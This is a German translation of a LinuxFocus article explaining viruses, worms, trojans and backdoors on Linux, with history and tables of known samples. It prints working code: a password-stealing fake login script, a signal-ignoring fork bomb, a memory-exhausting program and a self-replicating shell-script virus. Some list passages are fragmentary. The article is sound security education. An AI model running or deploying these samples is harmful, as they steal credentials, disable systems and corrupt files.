original in fr Christophe Blaess
fr to en Georges Tarbouriech
en to de Katja Socher
Christophe Blaess ist selbständiger Aeronautik-Ingenieur. Er ist Linuxfan und erledigt einen großen Teil seiner Arbeit auf diesem System. Er koordiniert die Übersetzung der Man-Seiten, die vom Linux Documentation Project herausgegeben werden.
Dieser Artikel betrachtet interne Sicherheitsprobleme, die auf Linuxsystemen wegen aggressiver Software vorkommen können. Solche Software kann ohne menschliches Dazutun Schaden anrichten: Viren, Würmer, Trojanischc Pferde etc. Wir werden tief auf die verschiedenen Verwundbarkeiten eingehen und auf die Vor- und Nachteile von freier Software in dieser Beziehung bestehen.
Es gibt hauptsächlich vier Typen von verschiedenen Bedrohungen, was für den Benutzer verwirrend sein kann, besonders da es oft vorkommt, daß ein Angriff von mehreren Mechanismen abhängt:
Sie zu klassifizieren ist nicht immer so leicht, z.B. gibt es Programme, die von einigen Beobachtern als Viren betrachtet werden und von anderen als Würmer, was eine abschließende Entscheidung recht kompliziert macht. Dies ist nicht sehr wichtig, wenn man die Reichweite dieses Artikels betrachtet, der klarstellen soll, welche Gefahren ein Linuxsystem bedrohen.
Entgegen allgemeinem Glauben existieren diese vier Plagen bereits unter Linux. Natürlich finden Viren eine weniger vorteilhafte Umgebung, um sich zu vermehren als z.B. unter DOS, aber die gegenwärtige Gefahr sollte nicht vernachlässigt werden. Laßt uns analysieren, was die Risiken sind.
Die potentiellen GefahrenEin Virus ist ein Stück Code, der in das Herz eines host Programms installiert ist und in der Lage ist, sich selbst zu duplizieren durch Infizieren einer neuen ausführbaren Datei. Viren wurden in den siebziger Jahren geboren, als die Programmierer dieser Zeit ein Spiel namens "core war"spielten. Dieses Spiel kommt von den Bell AT&T laboratories [MARSDEN 00]. Das Ziel des Spiels war es, parallel, innerhalb eines begrenzten Memorybereichs kleine Programme laufen zu lassen, die sich gegenseitig zerstören konnten. Das Betriebssystem enthielt keinen Schutz zwischen den Memorybereichen der Programme und erlaubte auf diese Weise eine allmähliche Aggression mit dem Ziel, den Wettbewerber auszuschalten. Um dies zu erreichen, "bombardierten" einige den größtmöglichen Memorybereich mit '0', während andere sich permanent im Adressraum bewegten in der Hoffnung, dadurch den Code des Widersachers zu überschreiben und manchmal kooperierten sich einige von ihnen, um einen schwierigen "Feind" auszuschalten.
Die implementierten Algorithmen für das Spiel wurden in eine Assemblersprache, die speziell hierfür erschaffen worden war, übersetzt, den "red code", der durch einen Emulator, der auf den meisten existierenden Maschinen verfügbar war, ausgeführt wurde. Das Spielinteresse war mehr wissenschaftliche Neugier, wie z.B. die Begeisterung gegenüber dem Life of Conway Game, den Fraktalen, genetischen Algorithmen, etc.
Jedoch, folgt man Artikeln, die den core war betreffen, veröffentlicht in Scientific American [DEWDNEY 84], dann mußte das Unvermeidbare passieren und einige Leute begannen Stücke von selbstwiederholendem Code speziell für den Bootsektor von Disketten oder ausführbaren Dateien zu schreiben, zuerst auf Apple Computern und dann auf MacIntosh und PCs.
Das MS DOS Betriebssystem war die Wunschumgebung für die Vermehrung von Viren: statische ausführbare Dateien mit einem gut bekannten Format, kein Memoryschutz, keine Sicherheit für Dateizugriffsrechte, weite Nutzung von TSR resistenten Programmen aufgestapelt im Speicher, etc. Dazu kommt der Erfahrungsstand der Benutzer, die wild Programme auf Disketten austauschten, ohne sich um den Ursprung der Dateien zu kümmern.
In seiner einfachsten Form ist ein Virus ein kleines Stück Code, das als ein Extra ausgeführt wird, wenn eine Applikation gestartet wird. Er nutzt seine Rechenzeit, um nach anderen ausführbaren Dateien, die noch nicht infiziert sind, Ausschau zu halten, nistet sich dort ein (vorzugsweise bleibt das ursprüngliche Programm zur größeren Diskretion unverändert) und beendet sich. Beim Start der neuen ausführbaren Datei startet der Prozeß erneut.
Viren können von einer großen Menge an "Waffen" profitieren, um sich selbst zu vermehren. In [LUDWIG 91] und [LUDWIG 93] gibt es eine detaillierte Beschreibung von Viren für DOS, unter Benutzung von hochentwickelten Methoden. Methoden, um sich zu verstecken, um von aktuellen Antivirensoftware nicht erkannt zu werden: Zufallsverschlüsselung, permanentes Verändern von Code, etc. Es ist sogar möglich, Viren zu treffen, die genetische Algorithmen benutzen, um ihre Überlebens- und Reproduktionsmöglichkeiten zu optimieren. Ähnliche Informationen können in einem sehr berühmten Artikel gefunden werden: [SPAFFORD 94].
Aber wir müssen im Kopf behalten, daß über das Thema von Experimenten mit künstlichem Leben in Form des Computervirus großen Schaden anrichten kann. Das Prinzip der mehrfachen Wiederholung eines Stückes Code ist nur eine Verschwendung von Platz (Platten und Speicher), aber Viren werden benutzt als ein Transportmittel für andere, viel ungefälligere Dinge: die logischen Bomben (logical bombs), die wir auch wieder in Trojanischen Pferden wiederfinden.
Die belagerten Trojaner hatten die dumme Idee, eine große hölzerne Statue, die ein Pferd darstellte, in ihre Stadt zu lassen, die von den griechischen Angreifern als religiöse Gabe zurückgelassen worden war. Das trojanische Pferd verbarg in seiner Seite ein echtes Kommando, dessen Mitglieder, einmal eingedrungen, den Schutz der der Nacht nutzten, um die Stadt von innen anzugreifen und ermöglichten auf diese Weise den Griechen, den Trojanischen Krieg zu gewinnen.
Der berühmte Term "Trojanisches Pferd" wird oft im Computersicherheitsfeld benutzt, um eine a priori harmlose Applikation zu bestimmen, wie die oben erwähnten Viren, die einen zerstörerischen Code, genannt logische Bombe, verbreitet.
Eine logische Bombe ist ein Programmteil, der absichtlich schädigend ist und sehr verschiedene Wirkungen hat:
Die logische Bombe kann auch versuchen, das System, in dem sie liegt, physisch zu zerstören. Diese Möglichkeiten sind eher begrenzt, aber sie existieren (Löschen des CMOS Memory, Änderung im modem flash memory, zerstörerische Bewegungen auf Drucker-, Plotter-, Scannerköpfen, beschleunigte Bewegung beim Lesen von Festplattenköpfen...)
Um mit der "explosiven" Metapher weiterzumachen, kann man sagen, daß eine logische Bombe einen Detonator braucht, um aktiviert zu werden. Es ist eine Tatsache, daß das Laufenlassen zerstörerischer Aktionen von einem Trojanischen Pferd oder Virus beim ersten Start eine schlechte Taktik ist, was die Effizienz angeht. Nach der Installation der logischen Bombe ist es für sie besser, zu warten, bevor sie explodiert. Dies erhöht die "Chancen", andere Systeme zu erreichen, wenn es um Virenübertragung geht und wenn es um Trojanishce Pferde geht, hält es den Benutzer davon ab, zu leicht die Verbindung zwischen der neuen Anwendungsinstallation und dem merkwürdigen Verhalten dieser Maschine zu ziehen.
Wie bei jeder schädliche Aktion, kann der Auslösemechanismus variieren: zehn Tage Verzögerung nach der Installation, Entfernen eines gegebenen Benutzeraccounts (Kündigung), Tastatur und Maus inaktiv für 30 Minuten, hohe Auslastung in der Druckerwarteschlange... es gibt keinen Mangel an Möglichkeiten! Die berühmtesten Trojanischen Pferde sind die Bildschirmschoner, auch wenn sie heute ein bißchen abgedroschen sind. Hinter einem attraktiven Aussehen sind diese Programme in der Lage, Schaden anzurichten, ohne gestört zu werden, besonders, wenn die logische Bombe erst nach einer Stunde aktiviert wird, was beinahe sicherstellt, daß der Benutzer nicht mehr vor seinem Rechner ist.
Ein weiteres berühmtes Beispiel eines Trojanischen Pferdes ist das folgende Skript, das einen login/password Bildschirm anzeigt, der die Informationen an die Person, die es gestartet hat, sendet und sich beendet. Wenn es auf einem unbenutzten Terminal läuft, erlaubt dieses Skript das Einfangen des Paßwortes des nächsten Benutzers, der versucht, sich einzuloggen.
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
Um die Verbindung zu beenden, wenn es fertig ist, muß
es mit dem exec shell Befehl gestartet werden. Das
Opfer denkt, es hat einen Tippfehler gemacht, wenn es die
"Login incorrect" Meldung sieht und loggt sich nochmal
auf dem normalen Weg ein. Weiter fortgeschrittene Versionen
sind in der Lage, den X11 Einlogdialog zu simulieren. Um diese
Art von Falle zu vermeiden, ist es gut, zuerst ein falsches
login/password zu benutzen, wenn man an ein Terminal kommt
(dies ist ein Reflex, den man leicht und schnell lernt).
"Würmer" stammen aus demselben Prinzip wie Viren. Sie sind Programme, die versuchen, sich zu vermehren, um die maximale Verbreitung zu erreichen. Auch wenn es nicht ihr Hauptfeature ist, können auch sie logische Bomben mit einem verzögerten Auslöser enthalten. Die Unterscheidung zwischen Würmern und Viren rührt aus der Tatsache, daß Würmer kein host Programm als Transportmittel benutzen, sondern stattdessen versuchen sie von den Fähigkeiten, die von Netzwerken bereitgestellt werden, Nutzen zu ziehen, wie Email, um sich von Maschine zu Maschine zu verbreiten.
Würmern sind technische anspruchvoller als Viren, sie nutzen die Verwundbarkeiten von Software, die von Netzwerkdiensten bereitgestellt werden, um ihre Selbstduplizierung auf einer entfernten Maschine zu erzwingen. Geschichte gemacht hat 1988 der "Internet Worm".
Der Internet Worm ist ein Beispiel eines reinen Wurms, der keine logische Bombe enthielt, trotzdem war seine unfreiwillige zerstörerische Wirkung beängstigend. Man kann eine kurze, aber genaue Beschreibung in [KEHOE 92] finden oder eine detaillierte Analyse in [SPAFFORD 88] oder [EICHIN 89]. Es gibt auch eine weniger technische, aber aufregendere Erklärung in [STOLL 89] (die der Cuckoo Egg Saga folgt), wo die Raserei der Teams, die diesen Wurm bekämpften nach der Panik der Administratoren, deren Systeme betroffen waren, kam.
Kurz, dieser Wurm war ein Programm, das von Robert Morris Jr, Student an der Cornell Universität, bereits bekannt durch einen Artikel über Sicherheitsprobleme in Netzwerkprotokollen [MORRIS 85] geschrieben wurde. Er war der Sohn von einem Mann, der die Verantwortung für die Computersicherheit der NCSC, einem Zweig der NSA, trug. Das Programm wurde am späten Nachmittag des 2.November 1988 gestartet und stoppte die meisten Systeme, die mit dem Internet verbunden waren. Es lief in mehreren Schritten:
netstat,
das Informationen über Netzwerkschnittstellen liefert,
auf./etc/passwd), und profitierte so von der
schlechten Auswahl einiger Benutzerpaßwörter.
Diese erste Verwundbarkeit wurde inzwischen durch die
Benutzung von shadow passwords gelöst.~/.rhost, und /etc/hosts.equiv
Dateien benutzten. In diesem Fall benutzte es
rsh, um Anweisungen auf der entfernten Maschine
auszuführen. Auf diese Weise war es in der Lage, sich
selbst auf den neuen Host zu kopieren und der Zyklus startete
von neuem.fingerd buffer
overflow exploit. (Siehe unsere Serie über sicheres
Programmieren : Vermeiden von
Sicherheitslöchern beim Entwickeln einer Applikation -
Teil 1, Vermeiden
von Sicherheitslöchern beim Entwickeln einer Applikation
- Teil 2: memory, stack und Funktionen, shellcode, Vermeiden von
Sicherheitslöchern beim Entwickeln einer Applikation -
Teil 3: buffer overflows.)sendmail daemon aktiviert, erlaubte es Mail zur
Standardeingabe des Programms, gekennzeichnet als Ziel, zu
übermitteln. Diese Option sollte niemals auf
Produktionsmaschinen aktiviert sein, aber leider ignorierten
die meisten Administratoren ihre Existenz.Zu beachten ist, daß das Verfahren Anweisungen auf einer anderen Maschine auszuführen eher komplex war. Es erforderte die Übertragung eines kleinen C Programms, das dort rekompiliert und gestartet wurde. Dann baute es eine TCP/IP Verbindung zu dem gestarteten Computer auf und bekam alle Wurmbinaries zurück. Diese letzten, vorkompiliert, existierten für mehrere Architekturen (Vax und Sun), und wurden eine nach der anderen getestet. Außerdem war der Wurm sehr clever beim Verstecken. Er versuchte kaum Spuren zu hinterlassen.
Leider funktionierte der Mechanismus, der Verhindern sollte, daß ein Computer mehrere Mal infiziert wurde nicht wie erwartet und der schädliche Aspekt von Internet 88 worm, der keine logische Bombe enthielt, zeigte sich in einer großen Überlastung der betroffenen Systeme (besonders durch ein Blockieren von Email, was eine Verzögerung beim Austausch von Lösungen zwischen den Systemadministratoren verursachte).
Der Autor des Wurms wanderte für einige Zeit ins Gefängnis.Würmer sind relativ selten wegen ihrer Komplexität. Sie dürfen nicht mit einem anderen Gafahrentyp verwechselt werden, der Viren als Attachments zu Emails überträgt so wie der berühmte "ILoveYou". Diese sind sehr einfach, da es Macros sind, die (in Basic) für Office-Programme geschreiben wurden, die automatisch gestartet werden, wenn die Email gelesen wird. Dies läuft nur auf einigen Betriebssystemen, wenn das Emailprogramm auf zu simple Weise konfiguriert wurde. Diese Programme sind vergleichbar mit Trojanischen Pferden, da sie eine Aktion des Benutzers erfordern, um gestartet zu werden.
Hintertüren können mit Trojanischen Pferden verglichen werden, aber sie sind nicht identisch. Eine Hintertür erlaubt einem ("fortgeschrittenen") Bentuzer, die Software zu manipluieren. Sie können mit den Betrügercodes verglichen werden, die in Spielen benutzt werden, um mehr Ressourcen zu bekommen, einen höheren Level zu erreichen etc. Aber dies gilt auch für kritische Applikationen wie Authentifizierung oder Email, da sie versteckten Zugang mit einem Paßwort, das nur dem Softwareerzeuger bekannt ist, bieten können.
Programmierer, die die Debuggingphase erleichtern wollen,
lassen oft eine kleine Tür offen, um die Software benutzen
zu können, ohne durch den Autentifikationsmechaismus gehen
zu müssen, selbst wenn die Applikation auf der
Kundenseite installiert ist. Manchaml sind es offizielle
Zugangsmechanismen, die Standardpaßwörter
benutzen(system, admin,
superuser, etc), aber nicht gut dokumentiert sind,
was Adminsiratoren dazu führt, sie aktiviert zu
lassen.
Erinnere dich an die verschiedenen versteckten Zugänge, die es erlaubten, mit dem System in dem Film "Wargame" zu kommunizieren, aber man kann auch frühere Berichte über solche Praktiken finden. In einem ungluablichen Artikel [THOMPSON 84], beschreibt Ken Thompson, einer der Unixväter, einen versteckten Zugang, den er vor Jahren auf Unixsystemen implementierte:
/bin/login Applikation so
geändert, daß sie ein Stück Code enthielt,
das direkten ZUgang zu dem System leiferte durch das Tippen
eines vorkompileriten Paßworts (ohne
/etc/passwd zu prüfen). Auf diese
Weise konnte Thompson jedes System besuchen, daß diese
login Version benutzte.login.c Quellcode präsent in den
Unixsystemen und jeder hätte den gefälschten code
lesen können. Demgemäß lieferte Thompson
einen sauberen login.c ohne die
Zugangstür.login.c zu rekompileiren und auf diese
Weise die Falltürversion zu entfernen. Dann
veränderte Thompson den Standard C Compiler, um ihn in
die Lage zu versetzen, die Hintertür hinzuzufügen,
wenn es bemerkte, daß jemand versuchtee
login.c zu kompilieren.cc.c
verfügbar und jeder hätte ihn lesen oder den
Kompiler rekompilerien können. Demgemäß
lieferte Thompson einen sauberen Kompileirerquellcode, aber
die binary Datei, die schon bearbeitet war, war inder Lage,
ihre eigenen Quelldateien zu identifizieren, die dann den
Code enthielt, der benutzt wurde, um login.c zu
infizieren...Was kann man dagegen tun ? Nun, nichts! Der einzige Weg wäre, mit einem brandneuen System zu starten. Außer wenn man seine Maschine von Anfang an selbst erzeugt mit dem gesamten Microcode, dem Betriebssystem, den Compilern, den Utilities, kann man nicht sicher sein, daß jede Applikation sauber ist, auch wenn der Quellcode verfügbar ist.
Wir haben die Hauptrisiken für jedes System dargestellt. Laßt uns jetzt die Gefahren, die freie Software und Linux betreffen, anschauen.
Laßt uns zuerst die Schäden anschauen, die eine logische Bombe verursachen kann, wenn sie auf einer Linuxksite ausgeführt wird. Natrülich variiert dies abhängig von der gewünschten Wirkung und den Privilegien der Benutzeridentität, die es startet.
Soweit Systemdateizerstörung oder das Lesen von vertraulichen Daten betroffen ist, können wir zwei Fälle haben. Wenn die Bombe sich unter der root Identität ausführt, hat es die gesamte Macht über die Maschine, einschließlich der Löschung jeder Partition und die eventuellen Gefahren für die Hardware, die oben erwähnt wurden. Wenn es unter einer anderen Identität gestartet wird, kann es nicht zerstörerischer sein als ein Benutzer ohne Privilegien sein kann. Es zerstört nur Daten, die zu diesem Bentuzer gehören. In diesem Fall ist jeder für seine eigenen Dateien verantwortlich. Ein gewissenhafter Systemadministrator macht nur wenige Dinge während er als root eingeloggt ist, was die Wahrschienlichkeit, eine logische Bombe unter diesem Account zu starten, reduziert.
Das Linuxsystem ist eher gut beim Schutz von privaten Daten und Hardwarezugang, es ist aber empfindsam für Attacken, die darauf abzielen, es lahmzulegen durch Benutzen vieler Ressourcen. Zum Beispiel ist das folgende C Programm schwer zu stoppen, auch wenn es als normaler Benutzer gestartet wurde, da, wenn die Anzahl der Prozesse per Benutzer nicht begrenzt ist, es jeden vefügbaren Eintrag aus der Prozessortabelle benutzt und jede Verbindung verhindert, die versucht, es zu töten:
#include <signal.h>
#include <unistd.h>
int main (void)
{
int i;
for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
while (1)
fork ();
}
Die Begrenzungen, die man für Benutzer (mit dem
setrlimit() Systemaufruf und der Shellfunktion
ulimit function) setzen kann, erlaubt es, das
Leben eines solchen Programms zu verkürzen, aber sie
wirken erst nach einiger Zeit, während der das System
nicht erreichbar ist.
In derselben Verbindung benutzt ein Programm wie das folgende allen verfügbaren Speicher und läuft in einer Schleife, wobei es die CPU Zyklen auffrißt, so daß es für die anderen Prozesse sehr störend ist:
#include <stdlib.h>
#define LG 1024
int main (void) {
char * buffer;
while ((buffer = malloc (LG)) != NULL)
memset (buffer, 0, LG);
while (1)
;
}
Normalerweise wird dieses Programm automatisch von den virtuellen Speicherverwaltungsmechanismen der neuesten Kernelversionen getötet. Aber davor kann der Kernel andere Applikationen töten, die viel Speicher erfordern (X11 Applikationen zum Beispiel). Außerdem bekommen alle anderen Prozesse, die Speicher benötigen, diesen nicht, was oft zu ihrer Beendigung führt.
Netzwerkfeatures durcheinanderzubringen ist auch eher
einfach durch Überladen der korrespondierenden Ports mit
kontinuierlichen Verbindungsanfragen. Lösungen zur
Vermeidung existieren, aber sie sind nicht immer von den
Adminsitratoren implementiert. Wir können für Linux sagen,
daß, auch wenn eine logische Bombe, die von
einem normalen Benutzer gestartet wird, system Dateien, die ihm
nicht gehören, nicht zerstören kann, sie
trotzdem sehr störend sein kann. Es reicht, ein
paar wenige fork(), malloc() und
connect() zu kombinieren, um das System und die
Netzwerkdienste stark zu belasten.
Subject: Unix Virus YOU RECEIVED AN UNIX VIRUS This virus works according to a cooperative principle: If you use Linux or Unix, please forward this mail to your friends and randomly destroy a few files of your system. |
Trotz einer weitverbreiteten Meinung, können Viren unter Linux eine Bedrohung sein. Mehrere existieren. Was stimmt, ist, daß ein Virus unter Linux keinen Nährboden zur Verbreitung findet. Laßt uns zunächst die Phase der Infizierung eines Rechners betrachten. Der Virencode muß dort ausgeführt werden. Dies bedeutet, eine korrupte ausführbare Datei wurde von einem anderen System kopiert. In der Linuxwelt ist die übliche Praxis jemandem eine Applikation zu schicken, ihm einen URL zu geben, wo er die Software finden kann, statt ihm ausführbare Dateien zu schicken. Dies bedeutet, daß der Virus von einer offiziellen Seite kommt, wo er schnell entdeckt wird. Ist eine Maschine einmal infiziert, sollet sie, um sie in die Lage zu versetzen, den Virus zu verbreiten, als Verteilungsplattform für vorkompilierte Applikationen benutzt werden, was eher selten vorkommt. Daher ist eine ausführbare Datei kein gutes Transportmedium für eine logische Bombe in der Welt freier Software.
Was die Verbreitung innerhalb einer Maschine angeht, so kann sich die korrupte Applikation natürlich nur zu Dateien verbreiten, für die der Benutzer, der sie laufen hat, Schreibrechte besitzt. Der weise Administrator, der nur als root arbeitet bei Operationen, die wirklich Privilegien erfordern, wird wahrscheinlich eine neue Software nicht laufen lassen, wenn er unter dieser Identität eingeloggt ist. Außer von der Installation einer Set-UID root Applikation, die mit einem Virus infiziert ist, ist das Risiko dann recht reduziert. Wenn ein normaler Benutzer ein infiziertes Programm laufen läßt, wird der Virus nur auf den Dateien, die dem Benutzer gehören, handeln, was eine Verbreitung zu den Systemutilities verhindert.
Wenn Viren lange Zeit unter Unix eine Utopie dargestellt haben, dann liegt das auch an der Vielfalt an Prozessoren ( Assemblersprachen) und Bibliotheken (Objektreferenzen), die die Reichweite für vorkompilierten Code begrenzten. Heute stimmt das nicht mehr so und ein Virus, der für LINUX ELF Dateien kompiliert ist mit i386 Prozessor GlibC 2.1, würde eine Menge Ziele finden. Außderdem könnte ein Virus in einer Sprache geschreiben werden, die nicht von dem Host, der ihn ausführt, abhängig ist. Zum Beispiel ist hier ein Virus für Shellskripte. Es versucht, in jedes gefundene Shellskript in dem Verzeichnis, in dem es gestartet wurde, zu gelangen. Um zu vermeiden, daß dasselbe Skript mehr als einmal infiziert wird, ignoriert der Virus die Dateien, in denen die zweite Zeile mit den Kommentar "infected" (infiziert) oder "vaccinated" (geimpft) ist.
#! /bin/sh
# infected
( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
exec < $fic
# Let's try to read a first line,
if ! read line ; then
continue
fi
# and let's check it is a shell script.
if [ "$line" != "#!/bin/sh" ]&&[ "$line" != "#! /bin/sh" ];then
continue
fi
# Let's read a second line.
if ! read line ; then
continue
fi
# Is the file already infected or vaccinated ?
if [ "$line" == "# vaccinated" ]||[ "$line" == "# infected" ];then
continue
fi
# Otherwise we infect it: copy the virus body,
head -33 $0 > $tmp_fic
# and the original file.
cat $fic >> $tmp_fic
# Overwrite the original file.
cat $tmp_fic > $fic
done
rm -f $tmp_fic
) 2>/dev/null &
Der Virus kümmert sich nicht darum, sich oder seine
Aktionen zu verstecken, außer daß er sich im
Hintergrund ausführt, während er das Originalskript
seinen normalen Job tut. Natürlich
läßt man dieses Programm nicht als root
laufen! Besonders, wenn man find . durch
find / ersetzt. Trotz der Einfachheit dieses
Programms, ist es ganz einfach, seine Kontrolle zu verlieren,
besonders, wenn das System viele angepaßte Shellskripte
enthält.
Tabelle 1 enthält Informationen über gut bekannte Viren unter Linux. Alle von ihnen infizierten ELF Dateien, durch Einfügen ihres Codes nach dem Dateiheader und zurückschieben des Rests des Originalcodes. Wenn nichts anderes gesagt wird, suchen sie potentielle Ziele in den Systemverzeichnissen. Aus dieser Tabelle kannst du ersehen, daß Viren unter Linux keine Annekdoten sind, wenn auch nicht zu alarmierend, meistens weil bisher die Viren harmlos sind.
| Name | Logische Bomben | Bemerkungen |
| Bliss | scheinbar inaktiv | automatische Desinfektio der ausführbaren Datei,
wenn es mit der Option
--bliss-disinfect-files-please aufgerufen
wird |
| Diesel | keine | |
| Kagob | keine | benutzt eine temporäre Datei, um das infizierte Originalprogramm auszuführen |
| Satyr | keine | |
| Vit4096 | keine | infiziert nur Dateien im aktuellen Verzeichnis. |
| Winter | keine | Der Virsucode ist 341 bytes. Infiziert nur Dateien im aktuellen Verzeichnis. |
| Winux | keine | Der Virus enthält zwei verschiedene Codes und kann sowohl Windows Dateien als auch Elf Linux Dateien infizieren. Er ist jedoch nicht in der Lage, andere Partitionen zu erkunden als die, wo er gespeichert ist, was die Verbreitung verringert. |
| ZipWorm | fügt einen "troll" text über Linux und Windows in die Zipdateien, die er findet, ein. ("troll"= eine Art Gnom in der schwedischen Mythologie) |
Du wirst bemerken, daß der "Winux" Virus in der Lage ist, sich unter Windows oder auch Linux zu verbreiten. Es ist ein harmloser Virus und eher ein Beweis von Möglichkeiten als eine wirkliche Gefahr. Jedoch läuft einem ein Schauer über den Nacken, wenn man sich vorstellt, daß solch ein Endringling von einer Partition zur anderen springen könnte, einfallen in heterogene Newtzwerke durch Benutzen von Sambaservern etc. Entfernen wäre schwer, da die erforderlichen Werkzeuge für beide Systeme auf einmal verfügbar sein müßten. Es ist wichtig zu bemerken, daß der Schutzmechanismus von Linux, die einen Virus, der unter einer normalen Benutzeridentität läuft, daran hindern, Systemdateien zu infizieren, nicht mehr verfügbar ist, wenn auf die Partition von einem Virus zugegriffen wird, der unter Windows läuft.
Laßt uns auf diesem Punkt bestehen: jede Vorsicht der Administration, die man unter Linux trifft, wird unwirksam, wenn man seine Maschine von einer Windowspartition rebootet, die einen eventuellen multi-platform Virus "beherbergt". Es ist ein Problem für jede Maxchine, die dual-boot mit zwei Betriebssystemen benutzt; der allgemeine Schutz des ganzen hängt von den Sicherheitsmechanismen des schwächsten Systems ab! Die einzige Lösung ist, den Zugriff auf Linuxpartitionen von jeder Windowsapplikation zu verhindern durch Benutzen eines verschlüsselten Dateisystems. Dies ist bisher noch nicht weit verbreitet und wir können wetten, daß Viren, die ungemountete Partitionen attakieren, bald eine bedeutende Gefahr für Linuxmaschinen darstellen werden.
Trojanisch Pferde sind so angsteinflössend wie Viren und die Leute scheinen sich ihrer mehr bewußt zu sein. Anders als eine logische Bombe, die von einem Virus transportiert wird, wurde diejenige, die in einem Trojanischen Pferd gefunden wird, absichtlich von jemandem eingefügt. In der freien Softwarewelt ist die Reichweite vom Autor eines Stück Codes bis zum schließlichen Benutzer auf ein oder zwei Zwischenstufen (Personen) begrenzt (laßt uns sagen, jemand, der für das Projekt verantwortlich ist und jemand, der die Distribution erstellt und verschickt). Wenn ein Trojanisches Pferd entdeckt wird, ist es leicht, den "Schuldigen" zu finden.
Die freie Softwarewelt ist dadurch eher gut geschützt gegen Trojansiche Pferde. Aber wir reden hier von freier Software wie wir sie heute kennen, mit verwalteten Projekten, empfänglichen Entwicklern und Webseiten von Referenz. Dies ist weit entfernt von Shareware oder Freeware, die nur vorkompiliert zur Verfügung steht und in einer anarchischen Weise von hunderten von Webseiten (oder CDs, ie mit Magazinen mitgeliefert werden) verteilt werden, wo der Autor nur durch eine Emailadresse bekannt ist, die leicht gefälscht werden kann; dies ist ein wahrer Pferdestall von Trojansichen Pferden.
Laßt uns bemerken, daß die Tatsache, den
Quellcode einer Applikation zu haben und zu kompileiren, keine
Garantie für Sicherheit ist. Zum Beispel kann eine
schädliche logische Bombe in einem
"configure" Skript (das, das während
"./configure; make" aufgerufen wird)
versteckt werden, was normlaerwesie an die 2000 Zeilen lang
ist! Zuletzt, der Quellcode einer Applikation ist sauber und
kompileirt; dies hindert nicht das Makefile vom
Verstecken einer logischen Bombe, die sich selbst während
des letzten "make install" aktiviert, was
normalerweise als root gemacht wird!
Zuletzt, ein wichtiger Teil von Viren und Trojansichen Pferde, die unter Windows schädlich sind, sind Macros, die ausgeführt werden, wenn ein Dokument aufgesucht wird. Die Produktivitätspakete unter Linux sind nicht in der Lage, diese Macros zu interpretieren, zumindest momentan, und der Benutzer bekommt schnell ein übertriebenes Gefühl von Sicheheit. Es wird eine Zeit kommen, wenn diese Werkzeuge in der Lage sein werden, die Basic macros, die in dem Dokument enthalten sind, auszuführen. Die Tatsache, daß Designer die schlechte Idee haben, diese Macros Befehle auf dem System laufen zu lassen, wird früher oder später geschehen. Sicher, wie bei Viren ist die zerstörerische Wirkung durch die Benutzerprivilegien begrenzt, aber die Tatsache, nicht die Systemdateien verloren zu haben, die sowieso auf der Installations-CD noch vorhanden sind) ist nur ein schwacher Trost für einen Benutzer, der gerade alle seine Dokumente verloren hat, seine Quelldateien, seine Email, während sein letztes Backup einen Monat alt ist.
Um diesen Abschnitt über Trojanische Pferde, die in
Daten enthalten sind, zu beenden, laßt uns anmerken,
daß es immer einen Weg gibt, um den Benutzer zu
ärgern.
Auf dem
Usenet kann man abundzu komprimeirte Dateien sehen, die sich in
einen Haufen von Dateinen multiplizieren bis die Festplatte
voll ist. Einige Postscriptdateien snd auch in der Lage, den
Interpreter zu blockieren (ghostscript oder
gv) durch Verschwenden von CPU Zeit. Sie sind
nicht schädlich, aber der Benutzer verliert Zeit und sie
sind ärgerlich.
Linux existeirte zu der Zeit des 1988 Internet Worm nicht; es wäre das Wunschziel für eine solche art von Angriff, die Verfügbarkeit von freien Softwarequellen macht die Suche nach Verwundbarkeiten sehr einfach (buffer overflows, zum Beispiel). Die Komplexität für das Schreiben eines Wurms "guter Qualität" reduziert die Anzahl derer, die wirklich unter Linux aktiv sind. Tabelle 2 präsentiert einige davon, darunter die am häufigsten verbreitesten.
Die Würmer nutzen Netzwerkverwundbarkeiten aus. Für Workstations, die nur abundzu mit dem Internet verbunden sind, ist das Risiko theoretisch geringer als für Server, die perament verbunden sind. Aber die Evolution der Verbindungstypen, die dem home-Benutzer zur Verfügung stehen (Kabel, SDL, etc.) und die Einfachheit der Implementation aktueller Netzwerkdienste (HTTP Server, anonymous FTP, etc.) implizieren, daß es schnell ein Anliegen für jeden werden kann.
| Name | Verwundbarkeiten | Bemerkungen |
Lion (1i0n) |
bind |
Installiert eine Hintertür (TCP port 10008) und ein root-kit auf der eingedrungenen Maschine. Schickt Systeminformationen an eine Emailadresse in China. |
| Ramen | lpr, nfs,
wu-ftpd |
ändert die index.html Dateien, die es
findet |
| Adore (Red Worm) | bind, lpr, rpc,
wu-ftpd |
Installiert eine Hintertür in dem Sytem und
schickt Informatiotnen an eine Emailadresse in China und
den USA. Installiert eine modifizierte ps
Version, um seine Prozesse zu verstecken. |
| Cheese | wie Lion | Wurm, eingeführt als ein netter Helfer, überprüft und entfernt die Hintertüren, die von Lion geöffnet wurden. |
Über Würmer kann man sagen, daß ihre Verbreitung Zeitbegrenzt ist. Sie "überleben" durch Sich-Vermehren von einem System zum anderen und da sie von neu entdeckten Verwundbarkeiten abhängen, stoppen schnelle Updates der Zielapplikationen ihre Verbreitung. In naher Zukunft ist es wahrscheinlich, daß Heimsysteme automatisch Referenzwebseiten konsultieren müssen (jeden Tag) - denen man trauen kann - um ihre Sicherheitspatche für Systemapplikationen zu finden. Dies wird notwendig werden, um zu verhindern, daß der Benutzer Vollzeit als Systemadministrator arbeiten muß.
